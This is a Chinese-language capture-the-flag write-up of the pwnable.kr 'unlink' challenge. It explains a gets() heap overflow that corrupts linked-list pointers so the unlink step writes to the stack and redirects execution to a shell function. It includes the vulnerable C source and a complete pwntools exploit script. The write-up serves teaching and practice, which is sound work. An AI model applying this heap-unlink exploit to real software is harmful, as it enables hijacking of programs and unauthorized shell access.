源代码如下:
#include
#include
#include
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
我们来先调试一下程序,看看堆的结构到底是怎样的
用disass main查看main函数的汇编代码,
下断点到 0x08048580,看栈和堆的结构 ,
可以看到栈中 ,ebp-0x14,ebp-0xc,ebp-0x10分别存着堆块A,C,B 的fd的地址。
然后经过下面的操作之后,A指向了B,B又指向了C,A->B->C, 如图所示:
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
然后就gets无限输入,造成了堆溢出
首先在gets(A->buf)后,执行了unlink操作,操作导致[B->bk]->fd被B->fd值覆写以及[B->fd]->bk被B->bk覆写。
该覆写过程发生于Unlink函数中,当输入A->buf溢出覆盖了B->fd和B->bk时,可导致一个DWORD SHOOT覆写。但会产生另外一个DWORD被覆盖的副作用。
retn指令相当于pop eip,该指令是可以控制程序运行流程的,流程的来源是esp指向的地址。
而leave指令相当于mov esp ebp,pop ebp,对esp数据的来源无影响。
在该段代码中在ecx-0x4的地址被传送给esp,ebp-0x4的内容被赋值给了ecx,由此可知我们需要修改的是ebp-0x4的内容。
在将shell写入A中后,因为A的地址为ebp-0x14,需要修改的地址为ebp-0x4,则ebp-0x4相对于A的位置为&A+0x10。
由图知道,shell的地址为heap address+8,又因为是将ecx-4的指针赋值给esp,shell的地址还需要加4
+-------------------+-------------------+ <- [A]
| FD | BK |
+-------------------+-------------------+ <- [A->buf]
| shell_addr | AAAA |
+---------------------------------------+
| AAAAAAAA |
+---------------------------------------+ <- [B]
| fd1 | bk2 |
+-------------------+-------------------+
所以 :
fd1 = heap_addr+12
bk2 = stack_addr+16
于是写出exp:
from pwn import *
shell_addr = 0x080484eb
s = ssh(host='pwnable.kr',
port=2222,
user='unlink',
password='guest'
)
p = s.process("./unlink")
p.recvuntil("here is stack address leak: ")
stack_addr = p.recv(10)
stack_addr = int(stack_addr,16)
p.recvuntil("here is heap address leak: ")
heap_addr = p.recv(9)
heap_addr = int(heap_addr,16)
payload = p32(shell_addr)+'a'*12+p32(heap_addr + 12)+p32(stack_addr +16)
p.send(payload)
p.interactive()
我们再通过脚本捋一遍unlink的过程
发送payload之后,堆的结构如下 :
B->fd=p32(heap_addr + 12)
B->bk=p32(stack_addr +16)
+-------------------+-------------------+ <- [A]
| A->fd | A->bk |
+-------------------+-------------------+ <- [A->buf]
| shell_addr | aaaa |
+---------------------------------------+
| aaaa | aaaa |
+---------------------------------------+ <- [B]
| B->fd | B->bk |
+-------------------+-------------------+ <- [B->buf]
| | |
+---------------------------------------+
| | |
+---------------------------------------+ <- [C]
| C->fd | C->bk |
+-------------------+-------------------+ <- [C->buf]
| | |
+---------------------------------------+
然后经过unlink函数,导致[B->bk]->fd被B->fd值覆写以及[B->fd]->bk被B->bk覆写。
也就是说
(stack_addr+16)的地址处写入了(heap+12)的地址
(stack_addr+16)也就是 ebp-0x4,
即ebp-0x4 的地址处写入了(heap+12)的地址,
然后ebp-0x4的内容被赋值给了ecx
即ecx等于(heap+12)的地址
然后lea esp [ecx-4]
即esp等于 heap+8
而heap+8 的内容我们已经伪造成了shell_addr
最后ret,相当于 pop eip ;call eip
至此,成功 call shell_addr
unlink 成功
参考文章:
https://www.cnblogs.com/liuyimin/articles/7381018.html
https://www.cnblogs.com/p4nda/p/7172104.html
http://turingh.github.io/2015/12/12/图解dwordshoot/